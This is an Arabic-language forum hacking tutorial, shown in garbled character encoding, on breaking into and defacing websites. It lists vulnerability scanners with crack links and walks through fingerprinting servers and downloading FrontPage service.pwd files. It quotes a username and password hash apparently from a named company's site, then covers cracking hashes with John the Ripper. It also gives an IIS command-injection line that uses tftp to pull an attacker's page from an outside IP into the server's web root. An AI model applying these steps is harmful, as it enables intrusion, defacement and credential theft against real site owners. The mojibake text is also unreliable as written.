ÇáÍíä ÇÍäÇ ÇÎÊÑÞäÇ ãæÞÚ æäÈí äÛíÑ ÕÝÍÉ ÇáÈÏÇíÉ æäßÊÈ Êã ÇÎÊÑÇÞ åÐÇ ÇáãæÞÚ ßíÝ¿
ÊÞÏÑ ÊÛíÑ ÇáÕÝÍå ÇáÑÆíÓå áãÇ íßæä ÇáÈÇÓæÑÏ ÍÞ ÇáãæÞÚ ÚäÏß ÈÚÏíä ÊÏÎá Úáíå ÈÚÏíä ÊÑæÍ áãáÝ ÇÓãæÇ
index
ÇÝÊÍæÇ Çæ ÇáÛíå æ ÍØ ãáÝ ÈäÝÓ ÇáÇÓã ÈÇáÃÔíÇÁ Çáí ÊÈíåÇ ÈÈÑäÇãÌ ÇÓãå
cute FtP
WS_FTP PRO
æÇáÈÑäÇãÌ Óåá Çááí íÈí ÔÑÍ íÞæáí

------------------------------------------------------------------------------------------------
17- ( ÈÑÇãÌ ááÈÍË Úä ËÛÑÇÊ æÃäÙãÉ ÇáãæÇÞÚ æÈÚÖ ãÚáæãÇÊåÇ )
åÐí ãä ÃÝÖá ÈÑÇãÌ ÇáÈÍË Úä ÇáËÛÑÇÊ æÇäÔÇÁ Çááå ÊÚÌÈßã ÇäÊ ÈÓ ÇÏÎá æÊáÞì:
============================================


**************************************************

*************
2- Shadow Security Scanner
ÊÍãíá ÇáÈÑäÇãÌ:http://mirror1.safety-lab.com/SSS.exe
ÊÍãíá ÇáßÑÇß:http://www.aldamar.net/index_files/license.zip
ÊÍãíá ãáÝ ÇáÊÚÑíÈ:http://www.aldamar.net/index_files/ssslanguage.zip
æÕáÉ ÔÑÍ ÇáÈÑäÇãÌ:http://www.aldamar.net/index_files/ssslanguage.zip
ÈÑäÇãÌ Ðæ ÔåÑÉ ÚÇáíÉ æÝÚÇáíÉ ßÈíÑÉ Ýí ÝÍÕ ÇáãæÇÞÚ ãä ÇáãäÇÝÐ æÇáËÛÑÇÊ
**************************************************

*************
3- Omran Scanner
http://www.mybiznas.com/tazhacker/omran.zip
ÔÑÍ ÇáÈÑäÇãÌ:http://www.xp10.com/vb/showthread.php?t=16448
ÈÑäÇãÌ ÚÑÈí ãä ÈÑãÌÉ ÇáÃÎ/ÚãÑÇä ÇáÛÇãÏí æáÇÈÃÓ Èå áÇßÊÔÇÝ ÇáËÛÑÇÊ æíÍÊæí Úáì ãáÝÇÊ ááÈÍË ãËá
Linux-Unix-NT
**************************************************

*************
4- CGI Scanner
æÕáÉ ÊÍãíá ÇáÈÑäÇãÌ:http://www.astalavistalab.com/files/cgis4.zip


ãÎÊÕ Ýí ÇáÈÍË Úä ËÛÑÇÊ
cgi
æåæ ÇáÃÝÖá Ýí Úãá Ðáß
**************************************************

*************
5- UniScan
http://online.securityfocus.com/data/tools/uniscan.zip
ßÇáÓÇÈÞ æáßä åÐÇ ÇáÈÑäÇãÌ ÎÇÕ ÈÝÍÕ ËÛÑÇÊ UNicode
**************************************************


*************
**************************************************

*************
8- voideye
http://content.443.ch/pub/security/...ner/VoidEye.zip
äÓãÚ Úäå ßËíÑÇ æåæ áÃäå ÃÞÏã ÈÑäÇãÌ Ýí ÇáÈÍË Úä ÇáËÛÑÇÊ íãáß æÇÌåÉ ÌãíáÉ æáßäí áÇÃÝÖáå Úáì
sss
**************************************************

*************
ÇáãáÞãÇÊ ÇÔåÑåÇ ÇËäíä: - 18
IIS:
ãä ãÇíßÑæÓæÝÊ æåÐå ãáíÇäÉ ËÛÑÇÊ. (æãæÇÞÚ Þáíá ãÞÝáÉ ËÛÑÇÊåÇ).
apache:
ãä ãÌãæÚÉ ãÈÑãÌíä ãÊæÒÚíä Ýí ÇäÍÇÁ ÇáÚÇáã æÇÎÊÑÇÞåÇ ÔÈå ÕÚÈ.
-----------------------------------------------------------------
19- Çæá ÎØæÉ Ýí ÇáÇÎÊÑÇÞ åí ÇÎÐ ÇáãÚáæãÇÊ:
íÚäí äÚÑÝ ÇáãæÞÚ Ôäæ ÇáãáÞã Çááí ÔÛÇá Úáíå æÇáäÙÇã æÇáÎÏãÇÊ Çááí íÏÚãåÇ.
ØíÈ ÇáÍíä ÚäÏäÇ ãæÞÚ æÔáæä äÚÑÝ äÙÇã ÇáÊÔÛíá æÇáãáÞã æÇáÎÏãÇÊ æÇáãÚáæãÇÊ ßáåÇ ÚäÏß ÇáãæÞÚ
http://www.netcraft.net/
http://www.whois.com/
ãáÇÍÙÉ: äßÊÈ ÇáãæÞÚ ãä ÛíÑ
http://
æáÇ
/
Çááí ÈÇáÇÎíÑ
Çæ äÓÊÎÏã ÇáÊáäÊ.
1 - ãËÇá Úáì ãáÞãÇÊ Çí Çí ÇÓ:
ÑÇÍ íØáÚ áäÇ ÇáÊÇáí
The site http://www.***.org/ is running Microsoft-IIS/5.0 on Windows 2000
ØíÈ ÇáÍíä ÚÑÝäÇ ãÚáæãÊíä ãåãÊíä
Çæá ÔíÁ Çäå ÔÛÇá Úáì ÇáãáÞã
IIS5.0
ËÇäí ÔíÁ ÔÛÇá Úáì äÙÇã æíäÏæÒ 2000
Çæá ÔíÁ äÌÑÈ ËÛÑÇÊ
IIS5.0
Úáíå
ÅÐÇ ãÇäÝÚ ÔíÁ äÔæÝ ËÛÑÇÊ äÙÇã æíäÏæÒ 2000
ØíÈ ÇáÍíä Ýíå ÍÇÌÉ ÇÓãåÇ íæäí ßæÏ åÐå ÊÎÊÑÞ ÝíåÇ Úä ØÑíÞ ÇáãÊÕÝÍ æãÇÊãÔí ÅáÇ ãÚ ãáÞãÇÊ
IIS
æåí ÚÈÇÑÉ Úä ÚäÇæíä ØæíáÉ ÊÍØåÇ ÈÚÏ ÚäæÇä ÇáãæÞÚ.
ØíÈ áäÝÑÖ Çäå ãÇØáÚ ÝíåÇ ËÛÑÇÊ¿
äÔæÝ ãÍÊæíÇÊ ÇáãæÞÚ äÝÓå
äÔæÝ Åä ßÇä ÚäÏå ÓÌá ÒæÇÑ Çæ ãäÊÏì Çæ ....
2 - ãËÇá Úáì ãáÞãÇÊ ÇÈÇÊÔí:
äÇÎÐ ãËÇá ãæÞÚ ÇÑÇäß
http://www.arank.com/
áæ ÍááäÇå ÈÇáäíÊ ßÑÇÝÊ ÑÇÍ äÔæÝ ÇáäÊíÌÉ ÇáÊÇáíÉ:
The site http://www.arank.com/ is running Apache/1.3.20 (Unix) mod_gzip/1.3.19.1a mod_perl/1.26 mod_bwlimited/0.8 PHP/4.0.6 mod_log_bytes/0.3 FrontPage/5.0.2.2510 mod_ssl/2.8.4 OpenSSL/0.9.6 on Linux
åäÇ íåãäÇ ËáÇË ÇÔíÇÁ:-
1- ÇáãáÞã æåæ:
apache 1.3.20
2- æÏÚã ÝÑæäÊ ÈíÌ æåÐå ãáíÇäÉ ËÛÑÇÊ
FrontPage/5.0.2.2510
3- ÇáäÙÇã æåæ
Linux
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ÇáãáÞã:
Çæá ÔíÁ ÇÈÇÊÔí ãä ÇáãáÞãÇÊ ÇáÕÚÈÉ ÇáÅÎÊÑÇÞ ÅáÇ ÈÚÖ ÇáÅÕÏÇÑÇÊ ãäåÇ ÝäÍØ åÐå Úáì ÌäÈ.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ÏÚã ÇáÝÑæäÊ ÈíÌ Òí ãÇÞáäÇ ÇáÝÑæäÊ ÈíÌ ãáíÇä ËÛÑÇÊ æËÛÑÇÊå ÞæíÉ æßËíÑÉ ÊÞÑíÈÇ ãäåÇ ãÌáÏ
_vti_pvt
æ
_private
åÐå Çááí äÍÊÇÌåÇ ÛíÑå ãÇãäå ÝÇíÏÉ ÏÇÎá ÇáãÌáÏíä ÑÇÍ äáÇÞí ÇÑÈÚ ãáÝÇÊ ãåãÉ æåí
service.pwd
æ
users.pwd
æ
authors.pwd
æ
adminstators.pwd
æíÚÊÈÑ åÐÇ ÇÎØÑ ãáÝ ØíÈ áæ ÞÏÑäÇ ääÒá æÇÍÏ ãä ÇáãáÝÇÊ åÐå (ãáÇÍÙÉ ÇáËÛÑÉ åÐå ãæÌæÏÉ È 70% ãä ÇáãæÇÞÚ ÇáãæÌæÏÉ ÚÇáäÊ) áæ äÒáäÇåÇ äÝÊÍåÇ ÈÇáãÝßÑÉ æäáÇÞí ÇáÓØÑ åÐÇ Úáì ÓÈíá ÇáãËÇá
goodyco:CalXS8USl4TGM
æåÐÇ ãä ãæÞÚ ÞæÏí
http://www.goody.com.sa/_vti_pvt/service.pwd
ØíÈ ÇáÍíä
goodyco
ÇáíæÒÑ æÇáÈÇÓæÑÏ ãÔÝÑ æÇááí åæ
CalXS8USl4TGM
æÔáæä íäÝß¿
íäÝß ÈÈÑäÇãÌ ÇÓãå
john the repaier
( ÔÑÍ ÇáÇÓÊÎÏÇã ãæÌæÏ Ýí ÇÎÑ ãæÖæÚ Ýí åÐÇ ÇáãÌáÏ)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ØíÈ äÑæÍ ááÝÞÑÉ ÇáËÇáËÉ æÇááí åí ÇáäÙÇã Òí ãÇÔÝäÇ ÇáäÙÇã åæ áíäßÓ áßä áíäßÓ ÇíÔ¿ Ýíå ÑíÏ åÇÊ æ ãÇäÏÑíß æÝíå ãäå ÅÕÏÇÑÊ ßËíÑ æËÛÑÇÊ ÇßËÑ áßä åäÇ ÑÇÍ ÊæÇÌåß ãÔßáÊíä
Çæá ÔíÁ ãÚÑÝÉ ÇáäÙÇã ÊÞÏÑ ÊØáÚå ãä ÇÈÏÇ æÊÔÛíá Çá
telnet
æÇßÊÈ ÚäæÇä ÇáãæÞÚ íØáÚ áß ÇáäÙÇã ÝæÞ äæÚå æÅÕÏÇÑÊå ÇáãÔßáÉ ÇáËÇäíÉ áÇÒã íßæä ÚäÏß áíäßÓ ÇÕáÇ ÚáÔÇä ËÛÑÇÊå ÈáÛÉ Çá
c
æåÐå ãÇÊÔÊÛá ÅáÇ ÚÇááíäßÓ ÝÞØ.
----------------------------------------------------------------------
20- (ãæÇÞÚ ÊØáÚáß ËÛÑÇÊ ÇáÇäÙãÉ æÇáæíäÏæÒ æÇáãäÊÏíÇÊ ææææ....)
http://www.ussrback.com/
ÇáãæÞÚ åÐÇ ÎØíÑ ÌÏÇð ÌÏÇð ÊÑæÍ á
EXPLOITS
Çááí ÚÇáíÓÇÑ æÊÎÊÇÑ Çæá ÇÎÊíÇÑ åäÇ ËÛÑÇÊ ÌãíÚ ÇáÇäÙãÉ ãä áíäßÓ æ æíäÏæÒ æ æ æ ÇáÎ.. æãäæÚÉ ãä
c
æ
perl
æ íæäí ßæÏ.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
http://neworder.box.sk
åÐÇ ÇáãæÞÚ ãÝíÏ ÌÏÇ ÊßÊÈ ãËáÇ ÝæÞ ÈÇáãÑÈÚ Çááí ÚÇáíãíä
IIS Çæ apache
Çæ ãäÊÏì æÇÕÏÇÑÊå Çæ Çí ÈÑäÇãÌ æíØáÚ áß ËÛÑÇÊå.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ÃÑÔíÝ áËÛÑÇÊ
www.securiteam.com/exploits/archive.html
ÃÑÔíÝ áËÛÑÇÊ
www.ussrback.com
ÃÑÔíÝ áËÛÑÇÊ
www.secureroot.com
ÃÑÔíÝ áËÛÑÇÊ
www.rootshell.com
ÃÑÔíÝ áËÛÑÇÊ
www.ussrback.com
ãæÇÞÚ áËÛÑÇÊ
www.secureroot.com/category/exploits
---------------------------------------------------------------------
20- åäÇß ÇäÙãÉ æãáÞãÇÊ ßËíÑÉ ãäåÇ:
Apache (ÇáãáÞã)
IIS(ÇáãáÞã)
SunOS(ÇáãáÞã)
FreeBSD (My BaBe)(ÇáãáÞã)
OpenBSD(ÇáãáÞã)
NetBSD(ÇáãáÞã)
AIX(ÇáãáÞã)
IRIX(ÇáãáÞã)
NetScape(ÇáãáÞã)
Enterprise(ÇáãáÞã)
Windows/NT/2000/xp (äÙÇã ÇáÊÔÛíá)
Linux(äÙÇã ÇáÔÊÛíá )
-------------------------------------------------------------------
áå ÓÊ ãÌáÏÇÊ) 21- (ÇáíæäßÓ

bin ÎÇÕ ÈÇáãáÝÇÊ ÇáËäÇÆíå íÚäí Çááí ÊÔÛá ÇáäÙÇã
etc ãáÝÇÊ ÇÏÇÑÉ ÇáäÙÇã æãä ÙãäåÇ ÇáÑææÊ Çááí åæ ÍÓÇÈ ãÏíÑ ÇáäÙÇã Çæ passwd
dev ãáÝÇÊ ÇáÇÌåÒå
lib ãßÊÈÇÊ ÇáÑÈØ ÇáÏíäÇãíßí Çááí ÊÓÇÚÏ ÇáäÙÇã Ýí ÇáÊÔÛíá
tmp ÇáãáÝÇÊ ÇáãæÞÊå Çæ ÛíÑ ÇáËÇÈÊå
usr ÇÓãÇÁ ÇáãÓÊÎÏãíä æßáãÇÊ ÇáÓÑ Çááí áåã ÍÓÇÈÊ ÈÇáäÙÇã
--------------------------------------------------------------------
22- (ÇæÇãÑ ÇáÇÝ Êí Èí)
Pwd
áßí ÊÚÑÝ ãÇ íÍÊæíå ÇáåÇÑÏ ÏíÓß
Cd
áÅÞÊÍÇã ãÌáÏ ãËÇá
Cd black
Ýí åÏÇ ÇáãËÇá ÞãÊ ÈÅÞÊÍÇã ãÌáÏ ÇáãÓãì ÈáÇß
Ls
áßí íÊÖÍ áß ãÍÊæì ÇáãÌáÏ Ãæ ÇáåÇÑÏ ÏíÓß
Get
áßí ÊÍãá Çáì ÓØÍ ÇáãßÊÈ ÍÞ ÌåÇÒß
ãËÇá
Get black.exe
Put
ÇáÚãáíÉ ÇáÚßÓíÉ á
Get
íÚäí Çä ÊÃÎÏ ãáÝ ãä ÓØÍ ÇáãßÊÈ ÍÞ ÌåÇÒß æ ÊÖÚå Ýí
Ýí ÌåÇÒ ÇáÖÍíÉ
ãËÇá
Put black.exe
Clos
áÞØÚ ÇáÅÊÕÇá ãÚ ÇáÖÍíÉ
íãßäß ÊÔÛíá ÇáÇÝ Êí Èí ãä ÇáæíäÏæÒ Úä ØÑíÞ :
START > RUN > ftp -n hostname
----------------------------------------------------------------------------
23- ÈæÑÊÇÊ ÈÑÇãÌ:-
7 echo
21 telnet
23 ftp
25 smtp
80 http
110 POP
----------------------------------------------------------------------------
c - 24
åæ ÈÑäÇãÌ Óí áßäå ÓæÑÓ ßæÏ ÝÞØ æÇÛáÈ ÇáËÛÑÇÊ ÇáÊí íÊã ßÊÇÈÊåÇ ÈÇáÓí æáÇßä ÇáãÔßáÉ Çäå áÇíãßä ÊÔÛíáå ÊÍÊ ÈíÆÉ æíäÏæÒÝíÌÈ Çä íßæä ÚäÏß
Linux Çæ Shell Account
----------------------------------------------------------------------------
25 - ãáÇÍÙÉ ÑÓÇÆá áÃÎØÇÁ æãä ÃÔåÑåÇ ÇáÑÓÇáÉ 404
Error
æåí ÊÙåÑ ÚäÏ ØáÈ ãáÝ ÛíÑ ãæÌæÏ ÈÇáãæÞÚ æÚäÏ ÙåæÑ åÐå ÇáÕÝÍÉ ÇäÙÑ
Åáì ÃÓÝá ÇáÕÝÍÉ æÞÏ ÊÌÏ ãÚáæãÇÊ ãËá ÅÕÏÇÑÉ ãáÞã ÇáæíÈ æåÐå ãÚáæãÇÊ ÛíÑ ãÖÑÉ Ãæ ÎØíÑ áßäåÇ ÊÝíÏ Ýí ÚãáíÉ ÇáÇÎÊÑÇÞ.
--------------------------------------------------------------------------
ÊÇÈÚ ÇáãæÖæÚ

-(ßíÝ ÊÍÕá Úáì Ôíá ÇßÇæäÊ ãÌÇäÇ)

æ ÊäÞÓã ÇáÔíá ÇßæäÊÓ Çáí äæÚíä:
1-restricted
2-non-restricted
æ ÇáÝÑÞ ÈíäåãÇ Çä
restricted
ãÏÝæÚ ÇáÞíãå æ íãßäß ãä ÊäÝíÐ Çí
command
ÇãÇ Çá
non restricted
Ýåæ ãÌÇäí
æ áßä ãÔßáÊå Çäå áÇ íãßäß ãä ÊäÝííÐ ßá ÇáÇæÇãÑ! áßí ÊÍÕá Úáí Ôíá ÇßæäÊ ãÌÇäÇ íãßäß ÇáÍÕæá Úáíå ãä Çí ãÒæÏ Ôíá ÇßæäÊÓ Úáí ÇáÔÈßå ãËá
www.cyberarmy.com
Çæ ÇáÇÊÕÇá ÈãÒæÏ ÇáÎÏãå æ ÇØáÈ ãäå Ôíá ÇßæäÊ ØÈÚÇ ÓíÓÇáß áãÇÐÇ ÊÑíÏ ÇáÔíá ÇßæäÊ ÇÌÈ Úáíå ÈÇäß ÊÑíÏ ÇÓÊÎÏÇã æ ÇáÊÏÑÈ Úáí äÙÇã ÇááíäßÓ æ ÇáíæäßÓ ÝíãÇ ÈÚÏ æ åÐí ÇáÇÌÇÈå ßÇÝíå áß íÚØíß Ôíá ÇßæäÊ æ ÇáÔíá ÇßæäÊÓ ãÎÊáÝå æ ÊÊãíÒ ÝíãÇ ÈíäåÇ
ÈÇáÊÇáí:
1-telnet
2-nslookup æ ÇáÐí íÚØíß ãÚáæãÇÊ Úä ÇáãÖíÝ
3-ftp
4-finger
4-trace route
5-dig æ åÐÇ ÇáÇãÑ ÛíÑ ãÊÇÍ ÛÇáÈÇ Ýí ãÚÙã ÇáÔíáÒ ÇáãÌÇäíå
6-netstat
7-gcc æ åÐÇ ßãÈíáíÑ ááÛå ÇáÈÑãÌå c
8-gzip áÝß ÖÛØ ÇáãáÝÇÊ
9-lynx ãÊÕÝÍ ááÇäÊÑäÊ

------------------------------------------------------------------
ÊÛííÑ ÇáÕÝÍÉ ÇáÑÆíÓíÉ ááãæÞÚ æÚãáíÉ ÇáÇÈ áææÏ ÈæÇÓØÉ ÈÑäÇãÌ - 27
.TFTP
-=-=-=-=-=-=-=-=-=-=-=-=-
Þã ÈÇäÔÇÁ ÕÝÍÉ æÖÚ ÔÚÇÑß ÚáíåÇ æÇÍÝÙåÇ ÈÇÓã
index.htm
Úáì ÇáÜ
c:\
Þã ÈÊÔÛíá ÈÑäÇãÌ
TFTP
:æäÝÐ ÇáÇãÑ Ýí ÇáÝÞÑÉ ÇáÊÇáíÉ
/c+tftp.exe+"-i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.ht m
tftp.exe
æåæ ÇáÈÑäÇãÌ ÇááÇÒã áÚãá ÇáÇÈ áææÏ æíÌÈ Çä íßæä ÔÛÇá Ýí ÍÇáÉ ÊäÝíÐ ÇáÇãÑ
"-i"
æåæ ÈãËÇÈÉ ÈÇÑÇãíÊÑÒ áÒæã ÞÑÇÁ ÇáÈíÇäÇÊ Ýí ãßÊÈÉ ÇáãáÝÇÊ
1.1.1.1 ÑÞã ÇáÇíÈí ÇáÎÇÕ Èß
GET
æåæ ÇáÇãÑ ÇááÇÒã áØáÈ ÇáãáÝÇÊ ãÇÈíä ÇáÇÑÓÇá æÇáÇÓÊÞÈÇá
index.htm
ÇÓã ÇáãáÝ ÈÌåÇÒß
\inetpub\wwwroot\
ÇÓã ÇáÏáíá Ýí ÇáÓíÑÝÑ
index.htm
ÇÓã ÇáãáÝ Úáì ÇáÓíÑÝÑ
-----------------------------------------------------------------
ÊÍÇæá Ãä ÊÏÎá áæÍÉ ÇáÊÍßã ãÚÙã ÇáãæÇÞÚ Êßæä áæÍÉ ÊÍßãåÇ Úáì ÇáÔßá - 28
www.sitename.com:2082
Ãæ
www.sitename.com/cpanel
åÐÇ Ýí ÍÇá ßÇä ÇáãæÞÚ íÓÊÎÏã ÇáÜ
CPanel
æåæ ÇáÈÑäÇãÌ ÇáÃßËÑ ÔíæÚÇð ..
æãä Ëã ÊÙåÑ áß äÇÝÐÉ ÇßÊÈ ÝíåÇ ÇÓã ÇáãÓÊÎÏãÉ æßáãÉ ÇáÓÑ ..
æÊÕíÑ Ýí ÇáÏÇÎá.
----------------------------------------------------------------
29- ÇãÇßä ÊæÇÌÏ ãáÝ ÈÇÓææÑÏ ÇáãæÇÞÚ:
Sunos 5.0 etc/shadow Çæ etc/passwd
Linux etc/shadow Çæ etc/passwd
BSD4.3 –RENO etc/master.passwd
AIX etc/security/passwd
NT æíäÏæÒ scripts/passwd
----------------------------------------------------------------
30- ßíÝ ÇÊÇßÏ ÇäÇ ÇáËÛÑ ÔÛÇáÉ æáÇ áÇ¿
- ÌÑÈ ÇááËÛÑÉ ÈæÇÓØÉ ÇáÜ
URL Çæ ÇáÜ URI .
----------------------------------------------------------------
31- ßíÝ ÊÓÏ ËÛÑÇÊ Çí Çí ÇÓ ÇÐÇ ßÇäÊ ÔÛÇáÉ Ýí ãæÞÚß¿
(IIS4.0 on WinNT)
http://www.microsoft.com/ntserver/n...862/default.asp
(IIS5.0 on Win2000)
www.microsoft.com/windows200...862/default.asp
----------------------------------------------------------------
32 - ãÇ ÇáÝÑÞ Èíä ãáÝ ÇáÈÇÓæÑÏ ÇáãÔÝÑ
encryption
æÇáãÖáá
shadowed?
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ÇáãáÝ ÇáãÖáá
shadow file
íßæä ãßÇä ßáãÉ ÇáãÑæÑ ÑãÒ ãËá
*
Ãæ
x
Ãæ
#
Ãæ
!
æåÐÇ ãËÇá áåÇ
root:x:0:1:Super-User:/:/sbin/sh
áßä ÇáãáÝ ÇáãÔÝÑ Êßæä ßáãÉ ÇáãÑæÑ ãßÊæÈå æáßä ãÔÝÑå ãËá åÐå
root:Q71KBZlvYSnVw:0:1:Super-User:/:/sbin/sh
åäÇ Êßæä ßáãÉ ÇáãÑæÑ ÇáãÔÝÑå åí: Q71KBZlvYSnVw
-------------------------------------------------------------------
æãÇÐÇ áæ ßÇä ãáÝ ßáãÉ ÇáãÑæÑ ãÔÝÑ ¡ ßíÝ íÊã ßÓÑå ¿ - 33
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
íÊã ßÓÑ ßáãÉ ÇáÓÑ ÇáãÔÝÑÉ ÈÈÑäÇãÌ Ìæä ÐÇ ÑíÈÑ ÇáÐí ÓÇÖÚ ØÑíÞÉ ÚãáÉ ÈÇáÊÝÕíá Ýí ÇÎÑ ÇáÏÑÓ æåÐÇ ÇáÈÑäÇãÌ íÞæã ÈÊÌÑÈÉ 5000 ßáãÉ ÈÇáËÇäíÉ(ÓÑÚÉ ÌäæäíÉ) ããÇ íÌÚáå ÇáÇÓÑÚ Ýí Ýß ÇáÊÔÝíÑ.
-------------------------------------------------------------------
34 -ÇÐÇ ßÇä ãáÝ
passwd
ãÖáá ãÇÐÇ ÊÝÚá¿
ÇáÇä ÌãíÚ ãáÝÇÊ
passwd
Êßæä ãÖááÉ æáßä ÊæÌÏ ØÑíÞÉ áÝßåÇ
ÇÐÇ æÌÏÊ ÇáãáÝ ãÖáá íÌÈ Úáíß ÇáÈÍË Úä ãáÝ ÇáÔÇÏæ
shadow
ãÇåí ÇãÇßä ÊæÇÌÏ ãáÝ
shadow
Ýí ÇáÃäÙãÉ¿
æåÐÇ ÇáãáÝ íæÌÏ Ýí Çãßäå ãÚíäå æßá äÙÇã ÊÔÛíá áå ãßÇä íæÖÚ Èå åÐÇ ÇáãáÝ ¡ Çáíß ÇáÌÏæá ÇáÊÇáí:
Linux : /etc/shadow token = *
SunOS : /etc/shadow token = íÃÎÐ ÃÔßÇá ãÊÚÏÏå ÇÔåÑåÇ åæ *
FreeBSD : /etc/master.passwd or /etc/shadow token = * æÇáÌÏíÏ åæ x
IRIX : /etc/shadow token = x
AIX : /etc/security/passwd token = !
ConvexOS : /etc/shadow or /etc/shadpw token = *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
token
ÊÚäí ÇáÑãÒ ÇáÐí íæÌÏ Ýí ÇáãáÝ
passwd
æåÐÇ íÝíÏ Ýí ÊÓåíá Çáãåãå ¡ íÚäí áæ ãËáÇ áÞíÊ ÚáÇãå ! ÈÏá ßáãå ÇáãÑæÑ ÝåÐÇ íÚäí Çä ßáãÉ ÇáãÑæÑ ãÓÌáå Ýí
/etc/security/passwd
¡ áÞÏ ÅÓÊÚäÊ ÈÇáÌÏæá ÇáÓÇÈÞ ÐßÑå ¡ ãËÇá Úáì ãáÝ ÔÇÏæ ( ãáÝ ÔÇÏæ åæ ÇáãáÝ ÇáÐí ÊÎÒä Ýíå ßáãÉ ÇáãÑæÑ ÇáÕÍíÍå).
ãáÝ ÇáÔÇÏæÇ Êßæä ÇáßáÇã ÇáÐí Ýíå ãÔÝÑ
ÇáÎÙæÉ ÇáÃÎíÑÉ æåí ÏãÌ ãáÝ
shadow & passwd
ÇäÕÍß Ýí ÏãÌ ãáÝ ÇáÔÇÏæ ãÚ ãáÝ ÇáÈÇÓ ÈßÊÇÈÉ åÐÇ ÇáÇãÑ Ýí ÈÑäÇãÌ Ìæä ÐÇ ÑÈÇíÑ æÕáÉ ÇáÈÑäÇãÌ
**********************************************
http://packetstorm.securify.com/Crackers/john-16w.zip
http://www.geocities.com/wildxone2002/john16.zip
http://www.diabolo666-security.com/...er/john-16d.zip
http://www.openwall.com/john
**********************************************
ÇäÈå ÇæáÇ ãä Çä ÇáÈÑäÇãÌ ãÎÕÕ áÝß ÊÔÝíÑ ÇáãáÝÇÊ ÇáãÔÝÑÉ æáßä íæÌÏ Ýí ÇãÑ áÏãÌ ãáÝ ÇáÔÇÏæ ãÚ ãáÝ ÇáÈÇÓ æÐáß áÖãÇä ÚÏã æÞæÚ ÇÎØÇÁ ÚäÏ ÇáÏãÌ
ÇáÇãÑ åæ
unshadow passwd.txt shadow.txt
ÇÐÇ áã ÊäÌÍ ÇáÚãáíÉ æÊÑíÏ ÊØÈíÞåÇ íÏæíÇ Ýåí ÓåáÉ æáßä áÖãÇä ÚÏã æÞæÚ ÇÎØÇÁ ÚäÏ ÇáÏãÌ ÝÞØ Þã ÈÊÈÏíá ÚáÇãÉ
x
ÇáÊí Êßæä Ýí ãáÝ ÇáÈÇÓ È ÇááÇã ÇáãæÌæÏ ÈÏáÇ ÚäåÇ Ýí ãáÝ ÇáÔÇÏæ ÊØÈÞ ÇáÚãáíÉ Ýí ßá ÚáÇãÉ x
Êßæä Ýí ãáÝ ÇáÈÇÓ
-------------------------------------------------------------------
35- Ýß ÊÔÝíÑ ãáÝ
shadow
asswd ÈÚÏ ÏãÌå ãÚ ãáÝ
x æåæ ØÑíÞÉ Ýß ÊÔÝíÑ ãáÝ
passwd
ÇáÏáíá ÇáßÇãá áßÓÑ ßáãÇÊ ÇáÓÑ
ÈÑäÇãÌ
John the Ripper
áßÓÑ ßáãÇÊ ÇáÓÑ
-----------------------------------------------------------------
ÈÑäÇãÌ - 36
(John the Ripper)
ÇÍÏ ÇÝÖá ÇáÈÑÇãÌ áßÓÑ ßáãÇÊ ÇáÓÑ ÇáÊí íÍÕá ÚáíåÇ ÇáãÎÊÑÞæä ãä ÇáÇäÙãÉ
(nix*)
æåÐå ÇáÇäÙãÉ æÇÎÕ ÇáÇÕÏÇÑÇÊ ÇáÍÏíËÉ ÊæÝÑ äÙÇã ÍãÇíÉ ÅÖÇÝí áãáÝ
(PASSWD)
ÈÇä íßæä ãÖáá æÚáì ÇáãÎÊÑÞ ÇáÍÕæá Úáì ãáÝ
(SHADOW)
áßí íÍÕá Úáì ãáÝ ßáãÇÊ ÇáÓÑ ãÔÝÑÉ æãä Ëã íÞæã ÈßÓÑ åÐÇ ÇáÊÔÝíÑ . åÐå åí ÇáæÙíÝÉ ÇáÇÓÇÓíÉ æÇÚÊÈÑåÇ ãä Çåã ÇáÎØæÇÊ Ýí ÇÎÊÑÇÞ ÇáÎæÇÏã áÇäåÇ ÊÚØíß ÇáãÝÊÇÍ .
----------------------------------------------------------------
37 - ßíÝ ÇÓÊÛáÇá ÇáÈÇÓæÑÏ:
íãßäß ÇÓÊÛáÇá ÈÇÓæÑÏ ÇáãæÞÚ Ýí ÇáÊáäÊ ÊÏÎá ãä ÇáÊáäÊ æÊÝÚá ãÇÊÑíÏ
Çæ Çäß ÊÏÎá ãä ÇáÇÝ Êí Èí æåæ ÇáÃÓåá æÇáãäÊÔÑ
ßíÝíÉ ÇáÏÎæá È
ftp
íãßäß ÇÓÊÎÏÇã ÇÍÏ ÈÑÇãÌ Çá
ftp
ãäåÇ
ws_ftp
Çæ
CuteFTP 4.2.5 Build 10.4.1
æÚäæÇäå
http://63.162.136.2/seniormoments/t...es/fo-wsf76.zip